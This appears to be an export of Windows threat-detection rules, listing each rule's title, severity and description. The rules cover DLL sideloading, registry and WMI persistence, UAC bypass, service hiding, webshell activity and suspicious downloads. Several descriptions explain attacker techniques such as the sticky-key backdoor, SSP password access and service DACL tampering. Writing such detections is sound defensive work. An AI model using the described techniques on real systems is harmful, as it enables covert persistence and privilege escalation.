WMI ActiveScriptEventConsumers Activity Via Scrcons.EXE DLL Load	medium	Detects signs of the WMI script host process "scrcons.exe" loading scripting DLLs which could indicates WMI ActiveScriptEventConsumers EventConsumers activity.
Potential 7za.DLL Sideloading	low	Detects potential DLL sideloading of "7za.dll"
Potential Antivirus Software DLL Sideloading	medium	Detects potential DLL sideloading of DLLs that are part of antivirus software suchas McAfee, Symantec...etc
Aruba Network Service Potential DLL Sideloading	high	Detects potential DLL sideloading activity via the Aruba Networks Virtual Intranet Access "arubanetsvc.exe" process using DLL Search Order Hijacking
Potential CCleanerDU.DLL Sideloading	medium	Detects potential DLL sideloading of "CCleanerDU.dll"
Potential CCleanerReactivator.DLL Sideloading	medium	Detects potential DLL sideloading of "CCleanerReactivator.dll"
Potential Chrome Frame Helper DLL Sideloading	medium	Detects potential DLL sideloading of "chrome_frame_helper.dll"
Potential DLL Sideloading Via ClassicExplorer32.dll	medium	Detects potential DLL sideloading using ClassicExplorer32.dll from the Classic Shell software
Potential DLL Sideloading Via comctl32.dll	high	Detects potential DLL sideloading using comctl32.dll to obtain system privileges
Potential DLL Sideloading Of DBGCORE.DLL	medium	Detects DLL sideloading of "dbgcore.dll"
Potential DLL Sideloading Of DBGHELP.DLL	medium	Detects potential DLL sideloading of "dbghelp.dll"
Potential System DLL Sideloading From Non System Locations	high	Detects DLL sideloading of DLLs usually located in system locations (System32, SysWOW64, etc.).
Potential DLL Sideloading Of Libcurl.DLL Via GUP.EXE	medium	Detects potential DLL sideloading of "libcurl.dll" by the "gup.exe" process from an uncommon location
Potential DLL Sideloading Via JsSchHlp	medium	Detects potential DLL sideloading using JUSTSYSTEMS Japanese word processor
Potential Libvlc.DLL Sideloading	medium	Detects potential DLL sideloading of "libvlc.dll", a DLL that is legitimately used by "VLC.exe"
Potential DLL Sideloading Of Non-Existent DLLs From System Folders	high	Detects DLL sideloading of system DLLs that are not present on the system by default (at least not in system directories). Usually this technique is used to achieve UAC bypass or privilege escalation.
Microsoft Office DLL Sideload	high	Detects DLL sideloading of DLLs that are part of Microsoft Office from non standard location
DLL Sideloading Of ShellChromeAPI.DLL	high	Detects processes loading the non-existent DLL "ShellChromeAPI". One known example is the "DeviceEnroller" binary in combination with the "PhoneDeepLink" flag tries to load this DLL. Adversaries can drop their own renamed DLL and execute it via DeviceEnroller.exe using this parameter
Third Party Software DLL Sideloading	medium	Detects DLL sideloading of DLLs that are part of third party software (zoom, discord....etc)
Fax Service DLL Search Order Hijack	high	The Fax service attempts to load ualapi.dll, which is non-existent. An attacker can then (side)load their own malicious DLL using this service.
VMGuestLib DLL Sideload	medium	Detects DLL sideloading of VMGuestLib.dll by the WmiApSrv service.
VMMap Signed Dbghelp.DLL Potential Sideloading	medium	Detects potential DLL sideloading of a signed dbghelp.dll by the Sysinternals VMMap.
VMMap Unsigned Dbghelp.DLL Potential Sideloading	high	Detects potential DLL sideloading of an unsigned dbghelp.dll by the Sysinternals VMMap.
Potential Wazuh Security Platform DLL Sideloading	medium	Detects potential DLL side loading of DLLs that are part of the Wazuh security platform
Windows Spooler Service Suspicious Binary Load	informational	Detect DLL Load from Spooler Service backup folder
Unsigned Module Loaded by ClickOnce Application	medium	Detects unsigned module load by ClickOnce application.
UAC Bypass With Fake DLL	high	Attempts to load dismcore.dll after dropping it
WMI Persistence - Command Line Event Consumer	high	Detects WMI command line event consumers
Remote Access Tool - AnyDesk Incoming Connection	medium	Detects incoming connections to AnyDesk. This could indicate a potential remote attacker trying to connect to a listening instance of AnyDesk and use it as potential command and control channel.
Potentially Suspicious Malware Callback Communication	high	Detects programs that connect to known malware callback ports based on statistical analysis from two different sandbox system databases
Communication To Uncommon Destination Ports	medium	Detects programs that connect to uncommon destination ports
Powershell Create Scheduled Task	medium	Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code
Registry-Free Process Scope COR_PROFILER	medium	Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR. (Citation: Microsoft Profiling Mar 2017) (Citation: Microsoft COR_PROFILER Feb 2013)
PowerShell Create Local User	medium	Detects creation of a local user via PowerShell
Manipulation of User Computer or Group Security Principals Across AD	medium	Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain..
Service Registry Permissions Weakness Check	medium	Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services
Unsigned AppX Installation Attempt Using Add-AppxPackage - PsScript	medium	Detects usage of the "Add-AppxPackage" or it's alias "Add-AppPackage" to install unsigned AppX packages
Powershell LocalAccount Manipulation	medium	Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups
Code Executed Via Office Add-in XLL File	high	Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs
PowerShell Web Access Installation - PsScript	high	Detects the installation and configuration of PowerShell Web Access, which could be used for remote access and potential abuse
Potential Persistence Via Security Descriptors - ScriptBlock	high	Detects usage of certain functions and keywords that are used to manipulate security descriptors in order to potentially set a backdoor. As seen used in the DAMP project.
Suspicious GetTypeFromCLSID ShellExecute	medium	Detects suspicious Powershell code that execute COM Objects
Suspicious Service DACL Modification Via Set-Service Cmdlet - PS	high	Detects usage of the "Set-Service" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as "sc.exe", "Get-Service"...etc. (Works only in powershell 7)
Potential Persistence Via PowerShell User Profile Using Add-Content	medium	Detects calls to "Add-Content" cmdlet in order to modify the content of the user profile and potentially adding suspicious commands for persistence
Abuse of Service Permissions to Hide Services Via Set-Service - PS	high	Detects usage of the "Set-Service" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as "sc.exe", "Get-Service"...etc. (Works only in powershell 7)
Winlogon Helper DLL	medium	Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\Software[Wow6432Node]Microsoft\Windows NT\CurrentVersion\Winlogon\ and HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ are used to manage additional helper programs and functionalities that support Winlogon. Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables.
Potential Ransomware or Unauthorized MBR Tampering Via Bcdedit.EXE	medium	Detects potential malicious and unauthorized usage of bcdedit.exe
Suspicious Download From Direct IP Via Bitsadmin	high	Detects usage of bitsadmin downloading a file using an URL that contains an IP
File Download Via Bitsadmin	medium	Detects usage of bitsadmin downloading a file
Suspicious Download From File-Sharing Website Via Bitsadmin	high	Detects usage of bitsadmin downloading a file from a suspicious domain
File With Suspicious Extension Downloaded Via Bitsadmin	high	Detects usage of bitsadmin downloading a file with a suspicious extension
File Download Via Bitsadmin To A Suspicious Target Folder	high	Detects usage of bitsadmin downloading a file to a suspicious target folder
File Download Via Bitsadmin To An Uncommon Target Folder	medium	Detects usage of bitsadmin downloading a file to uncommon target folder
Chromium Browser Instance Executed With Custom Extension	medium	Detects a Chromium based browser process with the 'load-extension' flag to start a instance with a custom extension
Suspicious Chromium Browser Instance Executed With Custom Extension	high	Detects a suspicious process spawning a Chromium based browser process with the 'load-extension' flag to start an instance with a custom extension
Change Default File Association Via Assoc	low	Detects file association changes using the builtin "assoc" command. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.
Change Default File Association To Executable Via Assoc	high	Detects when a program changes the default file association of any extension to an executable. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.
Potential Privilege Escalation Using Symlink Between Osk and Cmd	high	Detects the creation of a symbolic link between "cmd.exe" and the accessibility on-screen keyboard binary (osk.exe) using "mklink". This technique provides an elevated command prompt to the user from the login screen without the need to log in.
Sticky Key Like Backdoor Execution	critical	Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen
Control Panel Items	high	Detects the malicious use of a control panel item
PowerShell Web Access Feature Enabled Via DISM	high	Detects the use of DISM to enable the PowerShell Web Access feature, which could be used for remote access and potential abuse
HackTool - CrackMapExec Execution	high	This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced.
HackTool - Default PowerSploit/Empire Scheduled Task Creation	high	Detects the creation of a schtask via PowerSploit or Empire Default Configuration.
HackTool - SharPersist Execution	high	Detects the execution of the hacktool SharPersist - used to deploy various different kinds of persistence mechanisms
IIS Native-Code Module Command Line Installation	medium	Detects suspicious IIS native-code module installations via command line
Suspicious IIS Module Registration	high	Detects a suspicious IIS module registration as described in Microsoft threat report on IIS backdoors
Suspicious Shells Spawn by Java Utility Keytool	high	Detects suspicious shell spawn from Java utility keytool process (e.g. adselfservice plus exploitation)
Suspicious Processes Spawned by Java.EXE	high	Detects suspicious processes spawned from a Java host process which could indicate a sign of exploitation (e.g. log4j)
Shell Process Spawned by Java.EXE	medium	Detects shell spawned from Java host process, which could be a sign of exploitation (e.g. log4j exploitation)
Suspicious Driver Install by pnputil.exe	medium	Detects when a possible suspicious driver is being installed via pnputil.exe lolbin
Suspicious GrpConv Execution	high	Detects the suspicious execution of a utility to convert Windows 3.x .grp files or for persistence purposes by malicious software or actors
Suspicious Child Process Of SQL Server	high	Detects suspicious child processes of the SQLServer process. This could indicate potential RCE or SQL Injection.
Suspicious Child Process Of Veeam Dabatase	critical	Detects suspicious child processes of the Veeam service process. This could indicate potential RCE or SQL Injection.
Potential Persistence Via Netsh Helper DLL	medium	Detects the execution of netsh with "add helper" flag in order to add a custom helper DLL. This technique can be abused to add a malicious helper DLL that can be used as a persistence proxy that gets called when netsh.exe is executed.
New User Created Via Net.EXE	medium	Identifies the creation of local users via the net.exe command.
New User Created Via Net.EXE With Never Expire Option	high	Detects creation of local users via the net.exe command with the option "never expire"
Password Provided In Command Line Of Net.EXE	medium	Detects a when net.exe is called with a password in the command line
New Service Creation Using PowerShell	low	Detects the creation of a new service using powershell.
Abuse of Service Permissions to Hide Services Via Set-Service	high	Detects usage of the "Set-Service" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as "sc.exe", "Get-Service"...etc. (Works only in powershell 7)
Unsigned AppX Installation Attempt Using Add-AppxPackage	medium	Detects usage of the "Add-AppxPackage" or it's alias "Add-AppPackage" to install unsigned AppX packages
MSExchange Transport Agent Installation	medium	Detects the Installation of a Exchange Transport Agent
Suspicious Service DACL Modification Via Set-Service Cmdlet	high	Detects suspicious DACL modifications via the "Set-Service" cmdlet using the "SecurityDescriptorSddl" flag (Only available with PowerShell 7) that can be used to hide services or make them unstopable
PUA - Process Hacker Execution	medium	Detects the execution of Process Hacker based on binary metadata information (Image, Hash, Imphash, etc). Process Hacker is a tool to view and manipulate processes, kernel options and other low level options. Threat actors abused older vulnerable versions to manipulate system processes.
PUA - System Informer Execution	medium	Detects the execution of System Informer, a task manager tool to view and manipulate processes, kernel options and other low level operations
Suspicious Debugger Registration Cmdline	high	Detects the registration of a debugger for a program that is available in the logon screen (sticky key backdoor).
Potential Persistence Via Logon Scripts - CommandLine	high	Detects the addition of a new LogonScript to the registry value "UserInitMprLogonScript" for potential persistence
Persistence Via TypedPaths - CommandLine	medium	Detects modification addition to the 'TypedPaths' key in the user or admin registry via the commandline. Which might indicate persistence attempt
Potential Persistence Attempt Via Run Keys Using Reg.EXE	medium	Detects suspicious command line reg.exe tool adding key to RUN key in Registry
Direct Autorun Keys Modification	medium	Detects direct modification of autostart extensibility point (ASEP) in registry using reg.exe.
Changing Existing Service ImagePath Value Via Reg.EXE	medium	Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services
Rundll32 Registered COM Objects	high	load malicious registered COM objects
Suspicious Schtasks Execution AppData Folder	high	Detects the creation of a schtask that executes a file from C:\Users\\AppData\Local
Scheduled Task Creation Via Schtasks.EXE	low	Detects the creation of scheduled tasks by user accounts via the "schtasks" utility.
Suspicious Scheduled Task Creation Involving Temp Folder	high	Detects the creation of scheduled tasks that involves a temporary folder and runs only once
Uncommon One Time Only Scheduled Task At 00:00	high	Detects scheduled task creation events that include suspicious actions, and is run once at 00:00
Potential Persistence Via Microsoft Compatibility Appraiser	medium	Detects manual execution of the "Microsoft Compatibility Appraiser" task via schtasks. In order to trigger persistence stored in the "\AppCompatFlags\TelemetryController" registry key.
Potential Persistence Via Powershell Search Order Hijacking - Task	high	Detects suspicious powershell execution via a schedule task where the command ends with an suspicious flags to hide the powershell instance instead of executeing scripts or commands. This could be a sign of persistence via PowerShell "Get-Variable" technique as seen being used in Colibri Loader
Scheduled Task Executing Payload from Registry	medium	Detects the creation of a schtasks that potentially executes a payload stored in the Windows Registry using PowerShell.
Scheduled Task Executing Encoded Payload from Registry	high	Detects the creation of a schtask that potentially executes a base64 encoded payload stored in the Windows Registry using PowerShell.
Suspicious Scheduled Task Creation via Masqueraded XML File	medium	Detects the creation of a scheduled task using the "-XML" flag with a file without the '.xml' extension. This behavior could be indicative of potential defense evasion attempt during persistence
Schtasks Creation Or Modification With SYSTEM Privileges	high	Detects the creation or update of a scheduled task to run with "NT AUTHORITY\SYSTEM" privileges
Possible Privilege Escalation via Weak Service Permissions	high	Detection of sc.exe utility spawning by user with Medium integrity level to change service ImagePath or FailureCommand
New Service Creation Using Sc.EXE	low	Detects the creation of a new service using the "sc.exe" utility.
New Kernel Driver Via SC.EXE	medium	Detects creation of a new service (kernel driver) with the type "kernel"
Allow Service Access Using Security Descriptor Tampering Via Sc.EXE	high	Detects suspicious DACL modifications to allow access to a service from a suspicious trustee. This can be used to override access restrictions set by previous ACLs.
Deny Service Access Using Security Descriptor Tampering Via Sc.EXE	high	Detects suspicious DACL modifications to deny access to a service that affects critical trustees. This can be used to hide services or make them unstoppable.
Service DACL Abuse To Hide Services Via Sc.EXE	high	Detects usage of the "sc.exe" utility adding a new service with special permission seen used by threat actors which makes the service hidden and unremovable.
Service Security Descriptor Tampering Via Sc.EXE	medium	Detection of sc.exe utility adding a new service with special permission which hides that service.
Suspicious Service Path Modification	high	Detects service path modification via the "sc" binary to a suspicious command or path
Potential Persistence Attempt Via Existing Service Tampering	medium	Detects the modification of an existing service in order to execute an arbitrary payload when the service is started or killed as a potential method for persistence.
Potential Shim Database Persistence via Sdbinst.EXE	medium	Detects installation of a new shim using sdbinst.exe. Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims
Uncommon Extension Shim Database Installation Via Sdbinst.EXE	medium	Detects installation of a potentially suspicious new shim with an uncommon extension using sdbinst.exe. Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims
Potential Suspicious Activity Using SeCEdit	medium	Detects potential suspicious behaviour using secedit.exe. Such as exporting or modifying the security policy
Potential Amazon SSM Agent Hijacking	medium	Detects potential Amazon SSM agent hijack attempts as outlined in the Mitiga research report.
User Added to Local Administrators Group	medium	Detects addition of users to the local administrator group via "Net" or "Add-LocalGroupMember".
User Added To Highly Privileged Group	high	Detects addition of users to highly privileged groups via "Net" or "Add-LocalGroupMember".
User Added to Remote Desktop Users Group	high	Detects addition of users to the local Remote Desktop Users group via "Net" or "Add-LocalGroupMember".
Writing Of Malicious Files To The Fonts Folder	medium	Monitors for the hiding possible malicious files in the C:\Windows\Fonts\ location. This folder doesn't require admin privillege to be written and executed from.
Suspicious Process Execution From Fake Recycle.Bin Folder	high	Detects process execution from a fake recycle bin folder, often used to avoid security solution.
Suspicious New Service Creation	high	Detects creation of a new service via "sc" command or the powershell "new-service" cmdlet with suspicious binary paths
Tasks Folder Evasion	high	The Tasks folder in system32 and syswow64 are globally writable paths. Adversaries can take advantage of this and load or influence any script hosts or ANY .NET Application in Tasks to load and execute a custom assembly into cscript, wscript, regsvr32, mshta, eventvwr
Sysinternals PsService Execution	medium	Detects usage of Sysinternals PsService which can be abused for service reconnaissance and tampering
Sysinternals PsSuspend Execution	medium	Detects usage of Sysinternals PsSuspend which can be abused to suspend critical processes
Uncommon Userinit Child Process	high	Detects uncommon "userinit.exe" child processes, which could be a sign of uncommon shells or login scripts used for persistence.
Potential Persistence Via VMwareToolBoxCmd.EXE VM State Change Script	medium	Detects execution of the "VMwareToolBoxCmd.exe" with the "script" and "set" flag to setup a specific script to run for a specific VM state
Suspicious Persistence Via VMwareToolBoxCmd.EXE VM State Change Script	high	Detects execution of the "VMwareToolBoxCmd.exe" with the "script" and "set" flag to setup a specific script that's located in a potentially suspicious location to run for a specific VM state
VMToolsd Suspicious Child Process	high	Detects suspicious child process creations of VMware Tools process which may indicate persistence setup
Chopper Webshell Process Pattern	high	Detects patterns found in process executions cause by China Chopper like tiny (ASPX) webshells
Webshell Hacking Activity Patterns	high	Detects certain parent child patterns found in cases in which a web shell is used to perform certain credential dumping or exfiltration activities on a compromised system
Webshell Detection With Command Line Keywords	high	Detects certain command line parameters often used during reconnaissance activity via web shells
Suspicious Process By Web Server Process	high	Detects potentially suspicious processes being spawned by a web server process which could be the result of a successfully placed web shell or exploitation
Webshell Tool Reconnaissance Activity	high	Detects processes spawned from web servers (PHP, Tomcat, IIS, etc.) that perform reconnaissance looking for the existence of popular scripting tools (perl, python, wget) on the system via the help commands
Suspicious WindowsTerminal Child Processes	medium	Detects suspicious children spawned via the Windows Terminal application which could be a sign of persistence via WindowsTerminal (see references section)
Suspicious Processes Spawned by WinRM	high	Detects suspicious processes including shells spawnd from WinRM host process
New ActiveScriptEventConsumer Created Via Wmic.EXE	high	Detects WMIC executions in which an event consumer gets created. This could be used to establish persistence
WMI Backdoor Exchange Transport Agent	critical	Detects a WMI backdoor in Exchange Transport Agents via WMI event filters
WMI Persistence - Script Event Consumer	medium	Detects WMI script event consumers
UEFI Persistence Via Wpbbin - ProcessCreation	high	Detects execution of the binary "wpbbin" which is used as part of the UEFI based persistence method described in the reference section
Potential Persistence Via New AMSI Providers - Registry	high	Detects when an attacker registers a new AMSI provider in order to achieve persistence
Potential COM Object Hijacking Via TreatAs Subkey - Registry	medium	Detects COM object hijacking via TreatAs subkey
Potential Persistence Via Disk Cleanup Handler - Registry	medium	Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence. The disk cleanup manager is part of the operating system. It displays the dialog box […] The user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager's UI. Although Windows comes with a number of disk cleanup handlers, they aren't designed to handle files produced by other applications. Instead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler. Any developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.
Potential Persistence Via Logon Scripts - Registry	medium	Detects creation of "UserInitMprLogonScript" registry value which can be used as a persistence method by malicious actors
Creation of a Local Hidden User Account by Registry	high	Sysmon registry detection of a local hidden user account.
Path To Screensaver Binary Modified	medium	Detects value modification of registry key containing path to binary used as screensaver.
Narrator's Feedback-Hub Persistence	high	Detects abusing Windows 10 Narrator's Feedback-Hub
New DLL Added to AppCertDlls Registry Key	medium	Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.
New DLL Added to AppInit_DLLs Registry Key	medium	DLLs that are specified in the AppInit_DLLs value in the Registry key HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll
Office Application Startup - Office Test	medium	Detects the addition of office test registry that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started
Registry Persistence Mechanisms in Recycle Bin	high	Detects persistence registry keys for Recycle Bin
WINEKEY Registry Modification	high	Detects potential malicious modification of run keys by winekey or team9 backdoor
Security Support Provider (SSP) Added to LSA Configuration	high	Detects the addition of a SSP to the registry. Upon a reboot or API call, SSP DLLs gain access to encrypted and plaintext passwords stored in Windows.
Sticky Key Like Backdoor Usage - Registry	critical	Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen
Atbroker Registry Change	medium	Detects creation/modification of Assistive Technology applications and persistence with usage of 'at'
Suspicious Run Key from Download	high	Detects the suspicious RUN keys created by software located in Download or temporary Outlook/Internet Explorer directories
DLL Load via LSASS	high	Detects a method to load DLL via LSASS process using an undocumented Registry key
Add Port Monitor Persistence in Registry	medium	Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.
Add Debugger Entry To AeDebug For Persistence	medium	Detects when an attacker adds a new "Debugger" value to the "AeDebug" key in order to achieve persistence which will get invoked when an application crashes
CurrentVersion Autorun Keys Modification	medium	Detects modification of autostart extensibility point (ASEP) in registry.
Common Autorun Keys Modification	medium	Detects modification of autostart extensibility point (ASEP) in registry.
Classes Autorun Keys Modification	medium	Detects modification of autostart extensibility point (ASEP) in registry.
CurrentControlSet Autorun Keys Modification	medium	Detects modification of autostart extensibility point (ASEP) in registry.
CurrentVersion NT Autorun Keys Modification	medium	Detects modification of autostart extensibility point (ASEP) in registry.
Internet Explorer Autorun Keys Modification	medium	Detects modification of autostart extensibility point (ASEP) in registry.
Office Autorun Keys Modification	medium	Detects modification of autostart extensibility point (ASEP) in registry.
Session Manager Autorun Keys Modification	medium	Detects modification of autostart extensibility point (ASEP) in registry.
System Scripts Autorun Keys Modification	medium	Detects modification of autostart extensibility point (ASEP) in registry.
WinSock2 Autorun Keys Modification	medium	Detects modification of autostart extensibility point (ASEP) in registry.
Wow6432Node CurrentVersion Autorun Keys Modification	medium	Detects modification of autostart extensibility point (ASEP) in registry.
Wow6432Node Classes Autorun Keys Modification	medium	Detects modification of autostart extensibility point (ASEP) in registry.
Wow6432Node Windows NT CurrentVersion Autorun Keys Modification	medium	Detects modification of autostart extensibility point (ASEP) in registry.
Bypass UAC Using Event Viewer	high	Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification
Default RDP Port Changed to Non Standard Port	high	Detects changes to the default RDP port. Remote desktop is a common feature in operating systems. It allows a user to log into a remote system using an interactive session with a graphical user interface. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).
IE Change Domain Zone	medium	Hides the file extension through modification of the registry
Running Chrome VPN Extensions via the Registry 2 VPN Extension	high	Running Chrome VPN Extensions via the Registry install 2 vpn extension
Potential Registry Persistence Attempt Via DbgManagedDebugger	medium	Detects the addition of the "Debugger" value to the "DbgManagedDebugger" key in order to achieve persistence. Which will get invoked when an application crashes
Persistence Via Disk Cleanup Handler - Autorun	medium	Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence via autorun. The disk cleanup manager is part of the operating system. It displays the dialog box […] The user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager's UI. Although Windows comes with a number of disk cleanup handlers, they aren't designed to handle files produced by other applications. Instead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler. Any developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.
Directory Service Restore Mode(DSRM) Registry Value Tampering	high	Detects changes to "DsrmAdminLogonBehavior" registry value. During a Domain Controller (DC) promotion, administrators create a Directory Services Restore Mode (DSRM) local administrator account with a password that rarely changes. The DSRM account is an “Administrator” account that logs in with the DSRM mode when the server is booting up to restore AD backups or recover the server from a failure. Attackers could abuse DSRM account to maintain their persistence and access to the organization's Active Directory. If the "DsrmAdminLogonBehavior" value is set to "0", the administrator account can only be used if the DC starts in DSRM. If the "DsrmAdminLogonBehavior" value is set to "1", the administrator account can only be used if the local AD DS service is stopped. If the "DsrmAdminLogonBehavior" value is set to "2", the administrator account can always be used.
Enabling COR Profiler Environment Variables	medium	Detects .NET Framework CLR and .NET Core CLR "cor_enable_profiling" and "cor_profiler" variables being set and configured.
Add Debugger Entry To Hangs Key For Persistence	high	Detects when an attacker adds a new "Debugger" value to the "Hangs" key in order to achieve persistence which will get invoked when an application crashes
Persistence Via Hhctrl.ocx	high	Detects when an attacker modifies the registry value of the "hhctrl" to point to a custom binary
Registry Modification to Hidden File Extension	medium	Hides the file extension through modification of the registry
Potential Persistence Via Netsh Helper DLL - Registry	medium	Detects changes to the Netsh registry key to add a new DLL value. This change might be an indication of a potential persistence attempt by adding a malicious Netsh helper
New Netsh Helper DLL Registered From A Suspicious Location	high	Detects changes to the Netsh registry key to add a new DLL value that is located on a suspicious location. This change might be an indication of a potential persistence attempt by adding a malicious Netsh helper
New ODBC Driver Registered	low	Detects the registration of a new ODBC driver.
Potentially Suspicious ODBC Driver Registered	high	Detects the registration of a new ODBC driver where the driver is located in a potentially suspicious location
Potential Persistence Via Outlook LoadMacroProviderOnBoot Setting	high	Detects the modification of Outlook setting "LoadMacroProviderOnBoot" which if enabled allows the automatic loading of any configured VBA project/module
Outlook Macro Execution Without Warning Setting Enabled	high	Detects the modification of Outlook security setting to allow unprompted execution of macros.
Outlook Security Settings Updated - Registry	medium	Detects changes to the registry values related to outlook security settings
Potential Persistence Using DebugPath	medium	Detects potential persistence using Appx DebugPath
Potential Persistence Via AppCompat RegisterAppRestart Layer	medium	Detects the setting of the REGISTERAPPRESTART compatibility layer on an application. This compatibility layer allows an application to register for restart using the "RegisterApplicationRestart" API. This can be potentially abused as a persistence mechanism.
Potential Persistence Via App Paths Default Property	high	Detects changes to the "Default" property for keys located in the \Software\Microsoft\Windows\CurrentVersion\App Paths\ registry. Which might be used as a method of persistence The entries found under App Paths are used primarily for the following purposes. First, to map an application's executable file name to that file's fully qualified path. Second, to prepend information to the PATH environment variable on a per-application, per-process basis.
Potential Persistence Via AutodialDLL	high	Detects change the the "AutodialDLL" key which could be used as a persistence method to load custom DLL via the "ws2_32" library
Potential Persistence Via CHM Helper DLL	high	Detects when an attacker modifies the registry key "HtmlHelp Author" to achieve persistence
Potential PSFactoryBuffer COM Hijacking	high	Detects changes to the PSFactory COM InProcServer32 registry. This technique was used by RomCom to create persistence storing a malicious DLL.
COM Object Hijacking Via Modification Of Default System CLSID Default Value	high	Detects potential COM object hijacking via modification of default system CLSID.
Potential Persistence Via Event Viewer Events.asp	medium	Detects potential registry persistence technique using the Event Viewer "Events.asp" technique
Potential Persistence Via GlobalFlags	high	Detects registry persistence technique using the GlobalFlags and SilentProcessExit keys
Register New IFiltre For Persistence	medium	Detects when an attacker registers a new IFilter for an extension. Microsoft Windows Search uses filters to extract the content of items for inclusion in a full-text index. You can extend Windows Search to index new or proprietary file types by writing filters to extract the content, and property handlers to extract the properties of files.
Potential Persistence Via LSA Extensions	high	Detects when an attacker modifies the "REG_MULTI_SZ" value named "Extensions" to include a custom DLL to achieve persistence via lsass. The "Extensions" list contains filenames of DLLs being automatically loaded by lsass.exe. Each DLL has its InitializeLsaExtension() method called after loading.
Potential Persistence Via Mpnotify	high	Detects when an attacker register a new SIP provider for persistence and defense evasion
Potential Persistence Via Excel Add-in - Registry	high	Detect potential persistence via the creation of an excel add-in (XLL) file to make it run automatically when Excel is started.
Potential Persistence Via MyComputer Registry Keys	high	Detects modification to the "Default" value of the "MyComputer" key and subkeys to point to a custom binary that will be launched whenever the associated action is executed (see reference section for example)
Potential Persistence Via TypedPaths	high	Detects modification addition to the 'TypedPaths' key in the user or admin registry from a non standard application. Which might indicate persistence attempt
Potential Persistence Via Outlook Today Page	high	Detects potential persistence activity via outlook today page. An attacker can set a custom page to execute arbitrary code and link to it via the registry values "URL" and "UserDefinedUrl".
Potential Persistence Via Scrobj.dll COM Hijacking	medium	Detect use of scrobj.dll as this DLL looks for the ScriptletURL key to get the location of the script to execute
Potential Persistence Via Visual Studio Tools for Office	medium	Detects persistence via Visual Studio Tools for Office (VSTO) add-ins in Office applications.
Suspicious Shim Database Patching Activity	high	Detects installation of new shim databases that try to patch sections of known processes for potential process injection or persistence.
Potential Persistence Via Outlook Home Page	high	Detects potential persistence activity via outlook home page. An attacker can set a home page to achieve code execution and persistence by editing the WebView registry keys.
Potential Persistence Via DLLPathOverride	high	Detects when an attacker adds a new "DLLPathOverride" value to the "Natural Language" key in order to achieve persistence which will get invoked by "SearchIndexer.exe" process
Potential Persistence Via Shim Database In Uncommon Location	high	Detects the installation of a new shim database where the file is located in a non-default location
Potential Persistence Via Shim Database Modification	medium	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time
Suspicious Powershell In Registry Run Keys	medium	Detects potential PowerShell commands or code within registry run keys
Potential SentinelOne Shell Context Menu Scan Command Tampering	medium	Detects potentially suspicious changes to the SentinelOne context menu scan command by a process other than SentinelOne.
ServiceDll Hijack	medium	Detects changes to the "ServiceDLL" value related to a service in the registry. This is often used as a method of persistence.
Persistence Via New SIP Provider	medium	Detects when an attacker register a new SIP provider for persistence and defense evasion
Suspicious Environment Variable Has Been Registered	high	Detects the creation of user-specific or system-wide environment variables via the registry. Which contains suspicious commands and strings
